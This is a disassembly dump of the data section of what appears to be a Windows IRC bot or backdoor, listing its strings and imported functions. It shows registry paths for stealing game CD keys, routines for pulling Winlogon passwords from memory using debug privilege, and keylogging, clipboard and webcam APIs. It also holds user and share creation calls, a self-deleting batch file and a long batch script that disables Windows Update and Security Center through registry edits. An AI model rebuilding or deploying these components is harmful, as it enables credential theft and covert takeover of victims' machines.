aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 10h
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:0042981Co
aCdkey db 'CDKey',0 ; DATA XREF: ___:00429818o
align 10h
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_429814o
align 4
asc_42AA18: ; DATA XREF: sub_408B8D+E9o
; sub_408B8D+F4o
unicode 0, <=>,0
aR: ; DATA XREF: sub_408B8D+8Fo
; sub_40F6F1:loc_414142o
unicode 0, <r>,0
aSS_3 db '%s\%s',0 ; DATA XREF: sub_408B8D+7Eo
; sub_408E5A+45o ...
align 4
aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408B8D+2Bo
align 4
unk_42AA3C db 2 ; DATA XREF: sub_408D42+C5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesFoundD_ db ' Files found: %d.',0
unk_42AA6C db 2 ; DATA XREF: sub_408D42+5Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForFi db ' Searching for file: %s.',0
align 4
aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408E5A+107o
align 4
aS_3 db '%s\*',0 ; DATA XREF: sub_408E5A+1Ao
align 4
unk_42AABC db 2 ; DATA XREF: sub_408FAC:loc_409125o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToEnable db ' Failed to enable Debug Privilege.',0
align 10h
unk_42AB00 db 2 ; DATA XREF: sub_408FAC:loc_4090F8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToFindWi db ' Unable to find Winlogon Process ID.',0
unk_42AB44 db 2 ; DATA XREF: sub_408FAC:loc_4090F1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToFindTh db ' Unable to find the password in memory.',0
align 4
unk_42AB8C db 2 ; DATA XREF: sub_408FAC+117o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTheWindowsLogo db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
db 'er: (%S/(no password)).',0
align 4
off_42AC04 dd offset byte_530055 ; DATA XREF: sub_408FAC+DCo
dd offset byte_520045
dd offset dword_4F0044
dd offset loc_41004A+3
dd offset byte_4E0049
dd 0
off_42AC1C dd offset byte_530055 ; DATA XREF: sub_408FAC+CEo
dd offset byte_520045
dd offset loc_41004A+4
dd offset byte_45004D
align 10h
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_408FAC+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_408FAC+8Do
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_408FAC+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_408FAC+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_408FAC+68o
align 10h
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_408FAC+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_408FAC+40o
; sub_408FAC+161o ...
align 10h
unk_42ACE0 db 2 ; DATA XREF: sub_408FAC+35o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aOnlySupportedO db ' Only supported on Windows NT/2000.',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_40917E+13Eo
align 4
aNwgina db 'NWGINA',0 ; DATA XREF: sub_40917E+123o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_40917E+AFo
align 10h
unk_42AD40 db 2 ; DATA XREF: sub_4095E4+70o
; sub_40967B+C7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTheWindowsLo_0 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
db 'er: (%S/%S).',0
align 4
unk_42ADAC db 2 ; DATA XREF: sub_40967B+E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTheWindowsLo_1 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
db 'er: (%S/(N/A)).',0
align 4
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409794+C50o
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409794+C48o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409794:loc_40A3CFo
align 10h
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409794+BE6o
align 10h
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409794+BD9o
align 10h
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409794+BCCo
align 10h
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409794+BBFo
align 10h
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409794+BB2o
align 10h
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409794+BAAo
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409794:loc_40A331o
align 10h
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409794+B68o
align 10h
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409794+B60o
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409794:loc_40A2E7o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409794+B0Eo
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409794+B01o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409794+AF4o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409794+AECo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409794:loc_40A273o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409794+AAAo
align 10h
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409794+AA2o
align 10h
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409794:loc_40A229o
align 10h
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409794+A60o
align 10h
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409794+A58o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409794:loc_40A1DFo
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409794+9CEo
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409794+9C1o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409794+9B4o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409794+9A7o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409794+99Ao
align 10h
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409794+98Do
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409794+980o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409794+973o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409794+966o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409794+959o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409794+951o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409794:loc_40A0D4o
align 10h
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409794+903o
align 10h
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409794+8F6o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409794+8EEo
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409794:loc_40A075o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409794+8B4o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409794+842o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409794+835o
align 10h
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409794+828o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409794+81Bo
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409794+80Eo
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409794+801o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409794+7F4o
align 10h
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409794+7E7o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409794+7DAo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409794+7D2o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409794:loc_409F55o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409794+688o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409794+67Bo
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409794+66Eo
align 10h
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409794+661o
align 10h
aGethostname db 'gethostname',0 ; DATA XREF: sub_409794+654o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409794+647o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409794+63Ao
align 4
aAccept db 'accept',0 ; DATA XREF: sub_409794+62Do
; ___:0042F1B8o
align 4
aListen db 'listen',0 ; DATA XREF: sub_409794+620o
align 4
aSelect db 'select',0 ; DATA XREF: sub_409794+613o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409794+60Bo
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409794+5F9o
align 10h
aRecv db 'recv',0 ; DATA XREF: sub_409794+5ECo
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_409794+5DFo
align 10h
aSend db 'send',0 ; DATA XREF: sub_409794+5D2o
; sub_40F6F1+22E8o
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409794+5C5o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_409794+5B8o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409794+5ABo
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_409794+59Eo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409794+591o
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409794+584o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_409794+577o
; ___:0042F5C8o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409794+56Ao
aSocket db 'socket',0 ; DATA XREF: sub_409794+55Do
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409794+550o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409794+543o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409794+536o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409794+529o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409794+51Co
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409794+50Fo
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409794+507o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409794+4F6o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409794+483o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409794+476o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409794+469o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409794+45Co
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409794+44Fo
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409794+442o
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409794+435o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409794+428o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409794+420o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409794:loc_409BA3o
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409794:loc_409B7Bo
align 10h
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409794+38Fo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409794+382o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409794+375o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409794+368o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409794+35Bo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409794+34Eo
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409794+341o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409794:loc_409ACDo
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409794+309o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409794+2FCo
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409794:loc_409A88o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409794+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409794+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409794+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409794+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409794+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409794+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409794:loc_4099F3o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409794+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409794+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409794+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409794:loc_40998Co
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409794+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409794+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409794+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409794+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409794+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409794+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409794+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409794+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409794:loc_4098C9o
; sub_41EE5D+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409794:loc_40989Co
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409794+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409794+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409794+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409794+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409794+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409794+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409794+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409794+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409794+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409794+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409794+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409794+Ao
align 4
unk_42B6E4 db 2 ; DATA XREF: sub_40A421+2F2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Fh, 72h
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDllTestComplet db ' DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+2CCo
align 10h
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A421+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A421+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A421+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A421+12Co
align 10h
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+C4o
align 10h
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+28o
align 10h
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40A9AA+72o
align 4
aMirc db 'mIRC',0 ; DATA XREF: sub_40AA6F+5o
; sub_416233+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40AAF1+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AB95+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40ABB7+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40ABB7+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40ABB7+48o
align 4
aCA_bat db 'c:\a.bat',0 ; DATA XREF: sub_40AD3F+29o
align 4
a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AD3F+14o
db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
db 'erv]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
db 0Ah
db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
